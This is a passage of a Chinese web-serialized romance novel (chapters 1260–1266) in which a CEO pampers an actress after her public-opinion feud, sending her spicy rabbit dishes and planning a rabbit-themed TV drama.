他声音越说越低,几乎带着哀求:“我今天来,不是为了保李氏,是为了保我的家。我太太……她什么都不知道,孩子还在上学,如果黎氏出手,我们李家就全都毁了。我……我愿意做任何事,只要黎总肯放过我们。” 林砚看着他,这位曾经在圈内呼风唤雨的李总,此刻却像一个被抽去脊梁的普通人。他西装虽整,却掩不住肩头的塌陷,眼神虽坚,却藏不住深处的恐惧。 “你不必对我说。”林砚语气依旧平静,“黎总已经知道了。” 李英杰猛地抬头,眼中燃起一丝希望:“他……他知道?那他怎么说?” “黎总说,”林砚顿了顿,一字一句,“只要您安分,黎氏不会对李氏做什么。” 李英杰怔住,随即双腿一软,几乎跪倒。 他扶住沙发扶手,才勉强站稳,眼眶瞬间红了。他深吸一口气,声音颤抖:“谢谢……谢谢黎总,谢谢……” “但黎总不会见您。”林砚补充,“他说,您不配。” 李英杰身体一震,却没反驳。他低下头,嘴角扯出一抹苦笑,像是自嘲,又像是释然。 是啊,他不配。他一个在夜店问女人价钱的男人,凭什么奢望见黎云笙一面? 凭他那点微不足道的悔恨?还是凭他那点可怜的家世? “我明白。”他轻声说,“我不配。但我……我还是要谢您,谢黎总,谢他愿意留李家一条生路。” 他开口:“我知道黎氏看不上那三千万,三千万对黎总来说不算什么,但对我们李家来说是一笔巨款,我这里会为以温小姐的名义捐献三千万并亲自解释清楚我和温小姐的关系,一定不会让温小姐因为我继续遭难。” 林砚接过信,微微颔首:“我会转达。” 李英杰这才终于叹了口气轻点着头离开,根本不敢再说多余的话了。 …… 黎氏办公室内。 黎云笙缓缓阖下眼眸,指尖在平板屏幕上轻轻滑动,冷白的光映在他深邃的眉眼间,像一层薄霜覆于寒潭。 屏幕上,热搜榜单如潮水般翻涌,词条刺目而喧嚣。 #温栩栩人设崩塌# #温栩栩背后操控舆论# 一条接一条,铺天盖地,全是关于温栩栩与苏婉的纷争。 他唇角微勾,不是笑,而是一种近乎讥诮的弧度。 巧,太巧了。 就在昨天,温栩栩还被推上风口浪尖,被无数水军围攻,说她心机深沉、虚伪做作,甚至有人翻出她早年参加综艺时的片段,断章取义,恶意剪辑,试图将她塑造成一个“靠男人上位的拜金女”。舆论几乎一边倒,骂声如潮。 可不过片刻,风向突变。 那些攻击温栩栩的账号接连被封,证据被曝光,原来背后是苏婉的团队在操控水军,买通营销号,刻意抹黑。 温栩栩,竟早已布局,不仅保留了全部聊天记录与转账凭证,还通过宋婉榕的律所迅速发函,以“名誉侵权”立案。 更绝的是,她并未亲自出面澄清,而是让粉丝自发“考古”,将苏婉过往的黑料一一挖出,反向引爆舆论。 一步,又一步,环环相扣,像一张精心织就的网,只等苏婉自己踩进来。 黎云笙盯着屏幕,眸色渐深。 他太了解这种手段了,不正面迎战,却以退为进,不怒不争,却让对手在自曝中溃败。 温栩栩,果真是一只狡猾的狐狸。 他在她面前,她总是楚楚可怜,眼眸湿漉漉的,像只被雨淋湿的小猫,缩在他怀里轻声说:“阿笙,我好怕,外面的人都在骂我……”可转头,她就能不动声色地设局,让敌人自乱阵脚,连辩解的机会都没有。 她曾在他耳边轻语:“阿笙,我只想有你做靠山,别的,我都可以自己来。” 他当时只当是撒娇,如今才明白,她要的,从来不是他出面替她扫清障碍,而是借他的名号,借他的庇护,让她能毫无顾忌地施展手段。她不需要他动手,她只需要他知道,她背后有他,就够了。 她用他的名字,做了一把无形的剑,悬在所有觊觎她的人头顶。 可偏偏,哪怕是这样,黎云笙仍觉得她可爱。 哪怕她心机深沉,哪怕她手段凌厉,哪怕她在他面前装无辜、在背地里布杀局,他依旧觉得她可爱。 可爱到,他明知道她在演戏,明知道她根本没被欺负,明知道这一切都是她一手策划,他却仍愿意配合她,纵容她,甚至……为她心动。 他脑中不受控制地浮现出那晚的画面,温栩栩靠在他肩头,发丝缠绕着他脖颈,她的手指轻轻划过他胸膛,柔软的身体贴上来,像一团火,点燃他所有理智。 他闭了闭眼,喉结微动,指节因用力而泛白。 黎云笙,向来冷静自持,杀伐果断,却偏偏栽在温栩栩手里。 她像毒,入骨入髓,明知有害,却甘之如饴。 第1261章 你想听我说什么? 就在这时,急促的手机铃声响起,割裂了黎云笙纷乱的思绪。 他抬手接过电话,屏幕亮起的瞬间,他便知道是谁。 温栩栩。 他“魂牵梦绕”的人,方才还在他脑海里翻云覆雨,此刻却已用最娇软的声音,控诉着“被欺负”。 “阿笙——”她声音拖得长长的,尾音微微发颤,像被踩了尾巴的小猫,“我被人欺负了!” 黎云笙眸色一沉,语气却依旧冷淡:“哦?谁敢欺负你?” “苏婉啊!”她声音立刻拔高,带着委屈的哭腔,“她太坏了!一直在外面散播我的谣言,说我是心机女、靠男人上位,还买通水军骂我……” 她每说一句,就要哼唧一声,像在撒娇,又像在示弱。 明摆着就是知道黎云笙会站在她这里,可偏偏这个时候都还在试探黎云笙。 可黎云笙听得清楚,她语气里没有半分惊慌,反而藏着一丝得意,像只偷了鸡的狐狸,还非要装成被狗追的兔子。 他沉默片刻,终于开口,声音低沉而平静:“所以,宋婉榕帮你摆平了?” 她立刻接话,“还是你介绍的宋律师厉害,一出手就把那些造谣的人都告了!不然我可怎么办啊,网上那么多人骂我,我都要被骂惨啦……” 黎云笙听着,指尖轻轻敲击桌面,眸光微闪。 宋婉榕? 他太了解宋婉榕了,直肠子,正义感爆棚,要发律师函就一定会发,不会搞什么“吓唬人”的把戏。她若真出手,早就全网公告,不会等到现在才让舆论反转。 可温栩栩呢? 她不会直接动手,她会先示弱,再引导,让粉丝自发“发现”真相,让苏婉的团队在慌乱中露出马脚,最后再以“受害者”姿态收网。 她要的不是法律上的胜利,而是舆论上的碾压。 这种环环相扣、不动声色的小算计,一看就是温栩栩会做的事。 可偏偏,小狐狸做了坏事,还要戴上毛茸茸的猫耳朵,蜷缩在他怀里,发出“嘤嘤嘤”的声音,装出一副无害模样,仿佛全世界都该心疼她。 殊不知她屁股后面的狐狸尾巴,正一翘一翘地暴露着她的狡黠与得意。 黎云笙看着窗外,城市灯火如星河,他忽然低笑出声,那笑声极轻,却带着几分宠溺与无奈。 “你啊……”他声音低沉,像在责备,又像在叹息,“下次演戏,别这么浮夸。” 温栩栩一愣,随即笑出声来:“我哪有演戏?我明明很惨的好吗!” “是吗?”他语气淡淡,“那要不要我让公关部发个声明,说黎氏将全力支持温小姐维权?” “别别别!”她立刻阻止,语气急切,“不用不用,宋律师就够了,我不想给你添麻烦……” 黎云笙勾唇:“不添麻烦?你都快把苏婉搞垮了,还说不添麻烦?” 温栩栩嘿嘿笑了两声,像只偷到糖的孩子:“那也是她先惹我的嘛……” 黎云笙没再说话,只是望着窗外,指尖轻轻摩挲着手机边缘。 他知道,她根本不怕苏婉,她只怕他不护她。 可她不知道的是他早已心甘情愿做她的靠山。 温栩栩来这个电话就是为了试探,可偏偏黎云笙不会因为这件事生气,他是真的已经到了温栩栩做任何事他都能偏心的说好的地步,已经离谱到不像他这个人。 哪怕她狡猾,哪怕她撒谎,哪怕她在他面前装无辜,他仍觉得她可爱。 温栩栩指尖轻轻摩挲着手机边缘,故意语气娇软,带着几分刻意的委屈,像一只误入荆棘丛的鹿,明知有刺,却仍要轻轻蹭过去,试探那根刺会不会扎得更深。 她知道,黎云笙是个心思极沉的人。 不是那种城府深不可测的阴鸷,而是一种近乎通透的冷静。他不轻易动怒,不轻易表露情绪,却能在你最不经意的瞬间,看穿你所有伪装下的真实意图。温栩栩曾无数次在心里告诫自己别在他面前演,他什么都懂。 可她还是演了。 因为她太在乎了。 在乎黎云笙怎么看她,更在乎苏婉在他心里,究竟占了多重的分量。 她用了黎云笙的人,哪怕只是借调一个助理去处理项目对接,她也特意发消息报备。这不是必须的流程,也不是职场礼仪,而是她精心设计的“示弱”。 她大概猜得到黎云笙喜欢什么,不是强势的女人,不是咄咄逼人的掌控者,而是那种看似柔软、实则清醒,懂得在他面前收起锋芒的女人。 所以她演。 演得自然,演得恰到好处。 黎云笙轻笑一声:“你想听我说什么。” 温栩栩怔住。 她指尖微颤,心跳漏了半拍。 她原以为他会冷淡地质问,或者轻描淡写地回应一句“知道了”,又或者,以他惯常的疏离,干脆不回。可他没有。 他反问她,你想听我说什么? 这句话像一把钥匙,轻轻撬开了她精心构筑的戏台。 她突然意识到,他早已看穿她这场戏的全部动机,她不是真的来报备,她是来试探,来确认,来一点点丈量他心中那杆称的倾斜方向。 可他偏偏配合她。 他压低了声音开口,语气低沉,带着一丝若有若无的沙哑,像夜风拂过琴弦,轻轻拨动她心底最敏感的那根。 温栩栩笑了,嗓音里染上笑意,却带着一丝不易察觉的颤抖:“你难道猜不到吗?你没有看热搜吗?我伤害到了你的青梅小姐,你不会难过伤心吗?或者想要找我麻烦,让我收敛点、小心点?又或者……躲着点你的青梅小姐?” 她说得轻巧,像在开玩笑,可每一个字,都像是从心口挤出来的。 她就是存了小心思。 她就是想知道,当“苏婉”这两个字被她一次次提起,黎云笙的心,会不会动一下?会不会有哪怕一瞬间的迟疑?会不会在听到“青梅小姐”时,眼神里闪过一丝她读不懂的情绪? 她太了解黎云笙了。他从不轻易表露情绪,可他对苏婉,是不同的。那种不同,不是炽热的爱恋,而是一种深埋的、近乎执念的守护。 第1262章 喜欢兔子吗 苏婉是他的童年,是他的过去,是他曾经拼尽全力也没能护住的人。温栩栩知道,自己永远无法替代那段时光。 可她不甘心。 她不是苏婉,她也不愿做她的影子。她想要的是黎云笙的现在,和未来。 所以她一次次提起苏婉,不是因为嫉妒,而是因为恐惧。她怕自己在他心里,终究只是一个“后来者”,她怕有一天,苏婉轻轻一句话,就能让他转身离开。 她更怕,自己连被比较的资格都没有。 “我伤害到了你的青梅小姐”这句话她说得轻描淡写,实则字字如刀。她在逼他回应,逼他选择。她想看他会不会为苏婉出头,会不会对她冷下脸,会不会在那一瞬,流露出哪怕一丝的责备。 可黎云笙没有。 他只是沉默片刻,然后低低地笑了声,声音里带着几分无奈,又像是看透了一切的纵容:“宋婉榕没有帮过苏婉,你能明白吗。” 温栩栩的心猛地一缩。 一句话就让温栩栩明白黎云笙的意思了。 宋婉榕是黎云笙的好友,更是他常用的法律顾问,宋婉榕也是出身世家,跟黎云笙算是世交,所以苏婉没跟宋婉榕有过接触,而她却已经跟宋婉榕有了接触,这已经能代表很多事了。 “你明知道我是故意的。”温栩栩终于开口,声音轻得像叹息,“你明知道我在试探你,可你还是接了我的话。” 黎云笙沉默片刻,声音低沉而温和:“我知道你在试探我,所以我有了回应。” 温栩栩猛地睁开眼,心跳如鼓。 原来,他早就看穿了一切。他看穿她的演戏,看穿她的示弱,看穿她每一次提起苏婉时,那藏在笑意背后的紧张与不安。 可他没有拆穿,没有冷处理,而是选择用一种近乎温柔的方式,接住她的试探,接住她的脆弱。 “你不需要用这种方式来确认我的态度。”他缓缓道,“温栩栩,如果你想知道我怎么想,可以直接问我。我不擅长说情话,但我从不说假话。” 温栩栩眼底一热。 她突然觉得,自己所有的算计,在他面前都显得如此幼稚。 她以为自己在掌控,实则,她早已被他看透。 可偏偏,她就是吃这一套。 她就是会因为他一句“你想听我说什么”,而心跳加速,眼眶发酸;会因为他最后那句“直接问我”,而忍不住想哭。 她不是坚强,她只是太怕输。 可现在,她突然觉得,或许……她不必这么累。 黎云笙或许永远无法完全割舍苏婉的过去,但那不代表,他不能给温栩栩一个真实的现在。 而她,也不必再用“示弱”来换取一丝安全感。 她可以骄傲地站在他身边,不必伪装,不必试探,不必一次次用苏婉的名字来刺痛自己。 因为真正的答案,从来不在热搜里,不在别人的议论中,也不在那些刻意的试探里。 而在他低沉的声音里,在他那一句“你想听我说什么”中,在他愿意接住她所有情绪的耐心里。 温栩栩轻轻吸了口气,嘴角终于扬起一抹真实的笑。 “那我现在问你,”她轻声说,“你在我和苏婉之间,选择了谁。” 这一次,她不再演了。 这一次,她要听真话。 她就是要问清楚,黎云笙到底会选谁。 不是模棱两可的回避,不是含糊其辞的安抚,而是清清楚楚、明明白白的一句答案。 她要他从“苏婉”和“温栩栩”之间,做出选择。 哪怕这选择只是一瞬间的念头,她也要听见他亲口说出来。 空气仿佛凝滞了片刻。 黎云笙顿了下,眉宇间掠过一丝极淡的无奈,像是早知她会问,又像是被她执拗得有些哭笑不得。片刻后,他终于开口,声音低沉而清晰,像夜风拂过静湖,泛起一圈圈涟漪。 “你。” 只有一个字,却重若千钧。 温栩栩的心猛地一颤,仿佛被什么温柔而炽热的东西击中,从胸口蔓延至四肢百骸。她怔在原地,唇角却不受控制地扬起,笑意如春水般在眼底荡开,像撒了一把碎星,亮得惊人。 她开心了。 不是假装的欢喜,不是演给谁看的轻松,而是那种从心底涌上来的、纯粹的雀跃。 她甚至没忍住,轻笑出声,透过手机传到黎云笙耳中,像风铃摇曳,清脆又柔软。 黎云笙听着,唇角也微微扬起。他几乎能想象出她此刻的模样,眼尾微弯,眸光闪亮,像只偷到糖吃的小狐狸,得意又可爱。 是真的很好哄。 不过一句“你”,就能让她从试探的阴霾里跳出来,瞬间阳光满溢。 她不需要长篇大论的承诺,也不需要轰轰烈烈的表白,她只要他知道,她才是他心里的那一个。 黎云笙正想再说些什么,语气轻缓地叮嘱她注意休息,毕竟她还在剧组,他不想耽误她工作。可话还没出口,便听到电话那头传来导演的“开拍!”声,场记板“啪”地一打,整个片场瞬间进入紧张节奏。 他立刻收声,打算挂断电话,不想给她添麻烦。 可就在这千钧一发的间隙,温栩栩却突然开口,语速飞快,带着一丝狡黠的俏皮:“你喜欢兔子吗?” 黎云笙一愣,眉梢微挑,没反应过来她怎么突然跳到这个话题。 兔子?什么兔子? 他还没来得及思考,她又追问:“兔女郎,喜欢吗?” 声音软糯,尾音微微上扬,像羽毛轻轻扫过心尖,带着点若有若无的撩拨。 黎云笙彻底怔住。 脑内甚至还没来得及加载出“兔女郎”三个字对应的画面,是毛茸茸的耳朵?是蓬松的尾巴?还是那身经典又暧昧的装扮?温栩栩已经“啪”地一声,飞快地挂断了电话。 快得像逃。 快得像怕他回答。 快得像一场突如其来的恶作剧,来得猝不及防,又走得无影无踪。 黎云笙握着手机,听着那头传来的忙音,一时竟没回过神。 他盯着屏幕,片刻后,低低地笑了出来。 第1263章 太会拿捏他 他当然知道她什么意思。 她是在撒娇,是在调情,是在用她独有的方式,给他一个意料之外的“彩蛋”。她知道他正经,知道他克制,所以才故意抛出这么个问题,看他会不会愣住,会不会脸红,会不会在那一瞬间,露出难得的失态。 而她成功了。 他确实愣住了。 他确实没反应过来。 他甚至……有点心跳加速。 黎云笙靠在椅背上,指尖无意识地摩挲着手机边缘,唇角的笑意却一直没散。 他轻叹一声,语气里却满是宠溺:“温栩栩啊温栩栩……” 黎云笙一个大男人,耳垂却悄然泛起一层淡淡的红晕,像是被晚霞轻轻吻过,又像是心底那点隐秘的涟漪,终于不受控制地漫到了脸上。 他坐在沙发上,指尖无意识地摩挲着手机边缘,目光却失焦地落在前方的落地窗上。 窗外夜色沉沉,城市的灯火如星子洒落,可他的脑海里,却全然是温栩栩那句轻飘飘却又极具杀伤力的问话。 “你喜欢兔女郎吗?” 一字一句,像羽毛轻轻扫过心尖,又像细密的电流窜过神经,精准地抓着他的命门,一点点撩拨着他向来引以为傲的克制与冷静。 他向来是沉稳的,是疏离的,是那种哪怕天塌下来也能面不改色的男人。可温栩栩偏偏有本事,只用一句话,就让他从内到外,从理智到感官,都失了分寸。 他呼吸略有些急促,胸口起伏的节奏比平时快了几分。他知道自己不该被影响,可偏偏,他就是被影响了。 他也不知道出于什么目的,鬼使神差地伸手点开电脑。 屏幕亮起,蓝光映在他深邃的眼眸里,像一潭静水被投入了石子。 他本想查点工作资料,可浏览器刚打开,还没输入关键词,右下角便“叮”地弹出一个小窗口—— “可爱兔女郎!萌系诱惑,甜酷风兔娘写真集限时免费浏览!” 配图是个年轻女性,穿着一身黑白相间的紧身短裙,头上戴着一对毛茸茸的白色兔耳朵,耳后还别着一个蓬松的兔尾巴球球,裙摆短得恰到好处,笑容甜美又带点小性感。背景是粉色调的软萌房间,墙上贴着兔子壁纸,床头摆着兔子玩偶,连拖鞋都是兔子形状的。 黎云笙手一抖,竟鬼使神差地点开了链接。 网页跳转的瞬间,他脑内竟不受控制地浮现出一个画面,温栩栩戴上兔耳朵,变成一只软乎乎的小兔子,在地毯上滚来滚去,毛茸茸的耳朵随着动作轻轻晃动,像一团会动的白球球。 他猛地一怔。 这画面来得毫无预兆,却又如此自然,仿佛早已深埋在潜意识里,只等一个契机便破土而出。 可紧接着,画面一转,那团白球球忽然“站”了起来,兔耳朵微微抖动,她眨着水汪汪的眼睛,穿着那身他刚刚在网页上看到的兔女郎装扮,裙摆短得几乎遮不住什么,腿修长得令人移不开眼。她冲他眨了眨眼,嘴角勾起一抹狡黠的笑,像极了温栩栩平日里那副“我就是要撩你,你又能怎样”的模样。 限制级和儿童频道在他脑内疯狂切换。 一会儿是她滚在地毯上,抱着兔子玩偶傻笑,像个天真无邪的小女孩,一会儿又是她穿着兔女郎装,踮起脚尖在他耳边轻语:“哥哥,你喜欢我这样吗?” 黎云笙猛地闭眼,深吸一口气,试图将这些混乱的画面从脑海中驱逐。 他告诉自己:这不过是温栩栩的恶作剧,她就是故意的,她知道他会想,她就是要他想。 可越是这么告诉自己,那些画面就越发清晰。 他睁开眼,强迫自己去看网页内容。入眼满屏都是跟“兔子”有关的东西,活生生的小兔子在笼子里啃胡萝卜,垂耳兔软萌地歪着头,折耳兔蜷缩在垫子上打盹,还有各种兔子玩偶、兔耳朵发卡、兔尾巴装饰、甚至还有定制款的“兔女郎主题房间布置套装”。 推荐栏里,赫然躺着一本言情,书名格外扎眼—— 《天价宠婚兔子小姐》 封面是个穿着兔女郎装的女生,背影妖娆,回头一笑百媚生。 简介写着:“每次吵架后,老婆就会变成兔子跑掉,男主只能满世界找兔窝,哄她变回来……” 黎云笙:“……” 他嘴角抽了抽,正要关掉页面,目光却忽然被下方的美食推荐吸引住了。 “新鲜麻辣兔头,现杀现做,香辣入味,川渝老字号,SF次日送达。” “山城正宗麻辣兔丁,秘制配方,辣得过瘾,买三送一。” “香卤兔腿,真空包装,开袋即食。” 黎云笙:“……” 他啧了一声,眉梢微挑,眼神里闪过一丝荒谬又无奈的笑意。 这都什么跟什么? 从萌系兔女郎,到言情,再到麻辣兔头,大数据的推荐逻辑仿佛在经历一场精神分裂。可偏偏,它又精准得可怕,仿佛知道他此刻脑子里翻来覆去都是“兔子”两个字。 他忽然想起温栩栩挂电话前那句轻飘飘的“兔女郎,喜欢吗”,再联想到这满屏的兔子相关内容,心中竟生出一种诡异的联想,这世界,是不是在配合她撩他? 他沉默片刻,忽然伸手,点开了“麻辣兔头”的购买页面,毫不犹豫地加购了三斤。又顺手把“麻辣兔丁”也加了两斤,备注:“微辣,别太麻,她吃不了太辣。” 她。 他甚至没意识到,自己已经在潜意识里把温栩栩和“她”划上了等号。 买完,他又鬼使神差地往下翻,把那些兔耳朵发卡、毛茸茸的兔尾巴装饰、甚至那本一看就很雷人的书也加入了购物车。最后,连那个“兔女郎主题房间布置套装”都没放过。 购物车满满当当,像一场荒诞又真实的内心投射。 他盯着屏幕,忽然陷入一种迷之沉默。 但沉默过后还是点开购物车,确认订单,支付成功。然后靠在椅背上,闭上眼,脑海中却依旧盘旋着那个画面,温栩栩戴着兔耳朵,在他怀里滚来滚去,一会儿是软乎乎的白球球,一会儿又是撩人至极的兔女郎。 他叹了口气,喃喃自语:“温栩栩,你真是……” 太会了。 太会拿捏他,太会试探他,太会用最轻描淡写的方式,让他陷入最深的思绪。 第1264章 竟然去看霸总小说 李英杰几乎是连滚带爬地逃出了黎氏集团总部大楼。 他额角还沁着冷汗,领带歪斜,西装后背被冷汗浸出一片深色痕迹。 刚才那场“生死攸关”的会面,虽然只持续了不到十分钟,却让他感觉像在阎王殿前走了一遭。 他得罪了谁?他得罪了黎云笙。 而黎云笙是谁?是黎家这一代最锋利的一把刀,是商界闻风丧胆的“冰面阎罗”,是那种你只是在他面前说错一句话,就能让你在业内彻底消失的存在。 李英杰是真的怕。 好在,黎云笙似乎并没打算把他怎么样。 “黎总没提您,也没让法务部发函,应该……是没当回事。”助理小陈小心翼翼地汇报,语气里带着一丝宽慰。 李英杰这才长舒一口气,整个人像被抽了骨头,瘫在车后座上,抬手抹了把脸:“谢天谢地……回去后,立刻澄清我跟温栩栩的关系,以后我可不敢跟温栩栩沾边了。” 他发誓,以后见到黎云笙三个字,都要绕道走。 黎氏集团顶层的总裁办公室里,气氛却截然不同。 助理抱着一叠刚整理好的文件,脚步轻快地走向办公室。各部门的审批流程已收齐,签字后就能推进项目,他心里有数,黎总最讨厌拖延。他走到门前,发现门虚掩着,没多想,便直接推门而入。 可刚踏进去,他就察觉不对。 办公室里安静得诡异。 落地窗外是城市凌晨的微光,黎云笙坐在宽大的黑檀木办公桌后,背脊挺直,眉头紧锁,目光死死盯着电脑屏幕,仿佛在面对一场足以颠覆集团命运的危机。 助理心头一紧,立刻绷起神经,轻步上前,压低声音:“黎总,是方案出问题了吗?” 他一边问,一边下意识地瞥向屏幕。 然后愣住了。 屏幕上没有财务报表,没有并购协议,没有危机公关预案,更没有那份让整个行业都在关注的“星海计划”终版方案。 取而代之的,是一排排花里胡哨、字体浮夸的书名,排列得整整齐齐,像在进行一场严肃的学术评审: 《天价娇妻:首长的兔子新娘》 《霸总的兔子未婚妻》 《兔咪要上天:从软萌小白兔到商界女王》 《总裁的心尖宠:逃跑兔子别想逃》 《重生之兔子撩遍全球》 助理:“……” 他眨了眨眼,以为自己眼花,又凑近了一点,确认自己没看错。 不是恶搞,不是病毒弹窗,也不是谁恶作剧黑进了黎总的电脑。 这是……言情推荐榜单。 而且,黎云笙的鼠标正停在《霸总的兔子未婚妻》的“立即”按钮上,指尖悬在半空,仿佛在进行一场生死抉择。 助理的脑回路瞬间短路。 他张了张嘴,想说话,又闭上,再张开,终于艰难地挤出一句:“黎、黎总……您这是……在选……?” 黎云笙终于动了动,缓缓转过头,眼神冷得能结冰:“没敲门?” 助理立刻立正:“对不起黎总,我……我太担心方案了,以为出了大事……” “大事?”黎云笙目光重新落回屏幕,语气竟带着一丝罕见的烦躁,“这难道不是大事?” 助理:“???” 他差点以为自己听错了。 这……是大事? “您是说……《兔咪要上天》的剧情走向,会影响集团战略?”助理试探性地问,语气尽量保持专业,内心却已翻江倒海。 黎云笙没理他,反而点开了《霸总的兔子未婚妻》的试读章节,眉头皱得更深:“这本男主太油腻,动不动就‘低沉的嗓音在她耳边响起’,烦不胜烦。可《天价娇妻》又太老套,兔子新娘一哭,首长就心软,毫无逻辑。” 助理站在原地,手里的文件夹差点滑落。 他终于明白了黎云笙不是在处理危机,不是在审阅合同,不是在布局商战。 他是在……挑今晚看哪本霸总。 而刚才那副如临大敌、眉头紧锁、仿佛世界即将崩塌的模样,竟全是因为选择困难。 助理的内心崩溃了。 黎云笙开口问了句:“你说,女人喜欢看什么样的?” 助理唇角狠抽了下,最后还是开口回答:“可能是情感细腻、人物立体、有成长线的?” 黎云笙瞥他一眼:“太虚。我要的是‘霸总’‘兔子’‘逃婚’‘追妻火葬场’这种关键词。” 助理懂了。 黎总这是在为温栩栩研究言情呢。 他小心翼翼地问:“黎总……这些……是……给……那位看的?” 黎云笙终于抬眼,目光如刀:“哪位?” “就是……温栩栩小姐?”助理硬着头皮说。 黎云笙没否认,只是轻轻合上笔记本,站起身,走到落地窗前,背对着助理,声音低沉:“她有点像兔子。” 助理:“……”兔子?哪里像兔子了!那不是狐狸吗!那是狐狸啊黎总!眼睛不要就捐掉啊! 助理忽然觉得,自己对黎云笙的认知,彻底崩塌了。 见助理整个人呆滞在原地,黎云笙微微皱了下眉,淡淡看他一眼:“东西放下你可以出去了。” 显然是没从助理这里得到什么有用的,就没想多 黎云笙扫他一眼:“你出去吧。” 助理转身离开,关门时,忍不住回头看了眼那台合上的电脑。 他忽然觉得,这个世界太魔幻了。 堂堂黎家嫡系继承人,竟然去看霸总……能说黎总本来就有点霸总吗!还看! …… 午后的阳光斜斜地穿过《灵媒》录制基地的玻璃幕墙,洒在走廊的浅灰地砖上,映出斑驳的光影。 空气里弥漫着咖啡机蒸腾的奶香,夹杂着后台化妆间飘来的定妆喷雾气味。 温栩栩才拍完一场打戏,额角沁着细汗,发丝微乱地贴在脸颊边,手里还攥着半瓶没喝完的气泡水。 “温栩栩,有你的快递!”场务小哥提着两个沉甸甸的泡沫箱从外头进来,额头上沁着汗珠,“SF速递,加急件,冰袋都还冒着冷气呢。” 温栩栩一愣,快步走过去。 两个箱子都贴着醒目的“冷链运输”标签,箱体上凝着薄薄一层水珠,触手冰凉。 第1265章 黎总恋爱脑晚期 她蹲下身,指尖轻轻掀开箱盖一角,一股浓烈的麻辣香气瞬间冲了出来,混合着花椒与辣椒油的辛香,直冲鼻腔。 “麻辣兔丁?麻辣兔头?”她瞪大眼,声音都拔高了,“谁会给我寄这个?” 墨澜正好从旁边经过,闻言探头一看,挑眉:“这包装……节目组不可能这么明目张胆把粉丝寄的东西直接送进来吧?除非……”墨澜挑眉拖长音调,意味深长地笑,“是有人‘特批’的。” 温栩栩脑中电光火石一转,瞬间锁定唯一嫌疑人。 黎云笙。 只有他,有这个权限,把一整箱辣味兔肉空投到拍摄现场。 她嘴角微微抽搐,哭笑不得。 温栩栩蹲在地上,小心翼翼地拆开第一个箱子。 冰袋层层叠叠地裹着,掀开后,是一袋袋密封完好的麻辣兔丁,红油浸润,色泽油亮,每一块都裹着细密的辣椒碎和芝麻,光是看着就让人食欲大开。 第二个箱子更是“震撼”,整整一箱真空包装的麻辣兔头,个个酱色浓郁,眼窝深陷,仿佛在无声地注视着她。 温栩栩:“……” 她盯着那堆兔头,忽然觉得它们的眼神格外幽怨,仿佛在控诉:“你也是兔子,为何要吃同类?” “不行,我得问清楚!”她猛地掏出手机,背过身,躲到走廊尽头的消防通道角落,指尖飞快地打开微信。 她深吸一口气,打字: 发送。 与此同时,黎氏集团顶层总裁办公室。 落地窗外是城市天际线的璀璨灯火,夜幕已悄然降临。 黎云笙仍坐在那张宽大的黑檀木办公桌后,左手撑着下巴,右手握着一支银色金属记号笔,面前摊开着一本厚重的文件,是几本被他用文件夹夹在一起的言情合集。 他正看得入神。 屏幕上,是某网站的试读页面,标题赫然写着《霸总的兔子未婚妻》。 他指尖轻轻滑动,目光落在一段描写上: 黎云笙的嘴角,几不可察地向上扬了扬。 他盯着那段文字,脑中不受控制地浮现出温栩栩的脸,她穿着宽松的米色毛衣,蜷在沙发上,像只毛茸茸的小兔子,哼哧哼哧地往他怀里钻,嘴里还嘟囔着“好困好困”,却死活不肯松手。 可爱得过分。 他低笑一声,拿起记号笔,将整段话认真地勾画出来,还在旁边空白处写下批注:“场景可复刻。” 紧接着,他又点开另一本《重生之兔子撩遍全球》,翻到“假孕”章节,看到女主因情绪波动和饮食紊乱导致荷尔蒙失调,竟出现“假性怀孕”症状,男主又是紧张又是心疼,连夜抱她去医院,结果医生笑着说“只是心理作用”。 黎云笙看着,忽然低低地“啧”了一声,眼神变得微妙。 “假孕?”他喃喃自语,指尖轻敲桌面,“原来兔子还会这样……” 他嘴角的弧度更深了,眼神温柔得几乎不像那个冷面阎罗。 就在这时—— “叮。” 手机轻响。 他低头,看到微信弹出温栩栩的消息。 那串委屈巴巴的表情包让他眉梢一动,随即,他看到那句:“兔兔这么可爱怎么可以吃兔兔!你不爱我你的兔兔了吗!” 黎云笙沉默两秒,忽然低笑出声,声音在寂静的办公室里格外清晰。 他靠进椅背,左手依旧撑着下巴,右手却慢条斯理地打字: 发送。 他放下手机,目光重新落回页面,却已不再专注文字。 他盯着那句“小兔子在满是他气味的兔窝窝里打着滚”,眼神渐深。 他忽然想,如果温栩栩真的是一只兔子,他会怎么做? 他会给她织一个巨大的毛线窝,用他所有衬衫和毛衣堆成,他会每天给她喂胡萝卜和青菜,但也会偷偷放一块巧克力,只准吃一口,多了会闹肚子,他会摸她的耳朵,挠她的下巴,看她眯眼打呼噜,他会在她“假孕”时,一边无奈叹气,一边陪她演完这场戏,然后在她睡着后,轻轻吻她发烫的额头。 他想,他大概真的会养一只兔子。 而且,只养这一只。 他坐直身体,拿起内线电话联系助理:“进来一趟。” 助理推门而入,手里还抱着文件,却见黎云笙正盯着电脑屏幕,神情严肃得仿佛要宣布集团并购。 “黎总,您找我?” “去联系‘星娱影视’,”黎云笙语气平静,却带着不容置疑的命令感,“我要投资一部剧。” 助理一愣:“什么题材?商战?权谋?还是……” “兔子。”黎云笙打断他,目光如炬,“主角是一只戏精兔子,男主是霸总,剧情要甜,要沙雕,要能让人笑出眼泪。最重要的是”他顿了顿,嘴角微扬,“要让我的兔子,看得开心。” 助理:“……” 他默默记下,黎总恋爱脑晚期,建议立即拍摄《霸总与他的戏精兔》。 …… 待助理走后,黎云笙将手机反扣在办公桌上,动作从容不迫,仿佛刚刚下达的不是一道荒诞离奇的指令,而是一份关乎集团未来战略的并购案批示。 办公室里,夜色已深。落地窗外,城市灯火如星河倾泻,映照在他冷峻的侧脸上,勾勒出几分不近人情的疏离。 可此刻,他眼底却藏着一丝难以察觉的温柔,像是冰层下悄然涌动的暖流。 他重新将目光投向电脑屏幕,那本《霸总的兔子未婚妻》仍停留在“假孕”章节,他甚至用记号笔在“小兔子肚子圆滚滚地涨起来”那句旁画了个圈,像是在做学术研究般认真。 他不是在看。他是在做“项目调研”。 与此同时,助理助理正瘫在工位上,揉着酸涩的眼睛,准备结束这漫长又煎熬的一天。 手机突然震动,他懒洋洋地捞过来一看,瞳孔骤然收缩,整个人“腾”地坐直了。 黎云笙:让黎氏影视部门马上拟定有关兔子为女主角的电视剧项目,女主拟定温栩栩,关键词:变身、垂耳兔、假孕、甜宠。三天内把故事梗概交上来。 助理:“???” 第1266章 眼前一黑又一黑的程度 他盯着那条信息,反复读了三遍,确认自己没眼花,也没误入某个恶搞群聊。 